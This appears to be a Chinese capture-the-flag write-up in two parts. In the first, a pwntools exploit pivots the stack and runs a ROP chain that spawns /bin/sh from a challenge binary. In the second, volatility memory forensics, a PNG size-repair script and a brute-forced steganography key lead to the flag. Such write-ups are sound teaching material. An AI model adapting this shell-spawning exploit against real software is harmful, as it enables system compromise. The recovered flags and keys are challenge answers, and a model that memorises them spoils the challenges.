IDA打开之后,函数名都是sub_xxx
,然后通过nc官方部署的程序(或本地在程序所在目录创建flag文件后),获得程序中会出现的字符串定位到了重要函数,我用的是字符串Maybe is good
。
贴出来一下重要函数对应的内存地址:
函数名(已重命名) | 内存地址 |
---|---|
main | 0x08048CA8 |
load_flag | 0x080488C5 |
Maybe_is_good | 0x0804897E |
main_method | 0x08048B5C |
四者结构如图:
load_flag
里面需要加载flag文件,如果没有就exit,也就是一开始无法本地打开原因。
Maybe_is_good 里面没有特别的,关键在main_method,先贴出完整代码(以重名部分函数&注释)
gdb调试:‘very much’ 后输入 ‘aaa’,‘tell me’ 后输入 ‘bbbbbbbbbbb······’。可以看到eax被写入了’aaa’,ecx被写入了’bbbbbbbbbbbbbbbbbbb····’
然后就是第22行代码,看不懂就查汇编,对应的汇编是call eax
。就是当eax是函数来调用。结合前面的eax会被覆写为输入值,就可以进行ROP。
攻击大致流程如下:
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf = ELF('./pwn')
# 'ldd ./pwn' get libc.so
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
sh = process('./pwn')
sh.sendlineafter('index:\n', str(0)) # 0<=x<=31
payload = asm('''
xchg ecx, esp
ret
''',arch = 'i386')
sh.sendafter(' much!\n', payload)
sh.sendlineafter('size:\n', str(512)) # 0<=x<=512,x>payload
# ROPgadget
layout = [
0x08072fb1, #: pop edx; pop ecx; pop ebx; ret;
0,
0,
0x80f6d40, # '/bin/sh\0' address
0x080c11e6, #: pop eax; ret;
11, # len '/bin/sh\0'
0x080738c0, #: int 0x80; ret;
]
sh.sendafter('me:\n', flat(layout).ljust(0x80, '\0') + '/bin/sh\0')
sh.interactive()
EXP解释
最后:官方wp解法是交换ecx、esp的内容之后,利用返回值是1
还是2
,来逐个字节爆破得出flag。
内存取证题目。题目给出的是raw文件,这个文件不是图片的那个raw。。。初次之外内存取证还有dmg文件。利用的分析工具最主要是volatility
。
首先查看镜像信息:volatility -f Advertising\ for\ Marriage.raw imageinfo
使用 WinXPSP2x86
预设。然后就是查进程:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 pslist
存在记事本进程,查一查有什么:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 notepad
提示:hint:????needmoneyandgirlfirend
扫描所有png文件:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 filescan|grep png
找到一张 png
图片:vegetable.png
。导出图片:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 dumpfiles -D . -Q 0x000000000249ae78
图片无法显示,报错:IHDR: CRC ERROR
。
估计图片尺寸被修改了。
用脚本计算图片实际长度和宽度,并且生成修复后的图片。
import os
import binascii
import struct
img = open("vegetable.png", "rb").read()
for w in range(1024):
for h in range(1024):
data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
print w, h
print hex(w), hex(h)
open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
exit()
用 Stegsolve
查看图片,找到模糊的 flag
,一般情况较难恢复。同时,也发现 lsb
有点东西。
解密需要密钥,密钥为上面记事本找到的提示:????needmoneyandgirlfirend
,需要魔改工具爆破前 4 字节。
爆破得到密钥 b1cxneedmoneyandgirlfirend
,这里给出自己写的破解脚本,需要把lsb加密库
clone 下载,然后把脚本丢里面运行
#coding:utf-8
import os
import string
# creat password
password = []
pd_element = list(string.ascii_letters) + list(string.digits)
for i in pd_element:
if i != 'b':
continue
for j in pd_element:
#if j != '1':
#continue
for k in pd_element:
for m in pd_element:
password.append(i+j+k+m+"needmoneyandgirlfirend")
#pd = i+j+k+m+"needmoneyandgirlfirend"
#print "password = %s " %pd
n = 0
file_name = '2.png' # 解密的图片
out_file_1 = 'out.txt' # lsb中间文件
out_file_2 = 'result.txt' # result结果记录文件
for pd in password:
out_data_2= open(out_file_2,'a')
pd = 'b1cxneedmoneyandgirlfirend'
try:
print "total try {} times\ntrying: {}".format(n,pd)
argv = r'python lsb.py extract ' + file_name + ' ' + out_file_1 + ' '+ pd
lsb = os.popen(argv,'r')
data = lsb.read()
lsb.close()
print "{} SUCCESS".format(pd)
out_data_1 = open(out_file_1,'r')
data = out_data_1.read().strip('\n')
out_data_2.write(data+'\n')
n += 1
break
except:
print "{} ERROR".format(pd)
n += 1
out_data_2.close()
解密图片隐写信息,得到字符串:VmlyZ2luaWEgY2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==
。
base64
解码得到:Virginia ciphertext:gnxtmwg7r1417psedbs62587h0
。
然后再使用在线维吉尼亚密码解密:密钥b1cxneedmoneyandgirlfirend
解密得到: flagisd7f1417bfafbf62587e0
。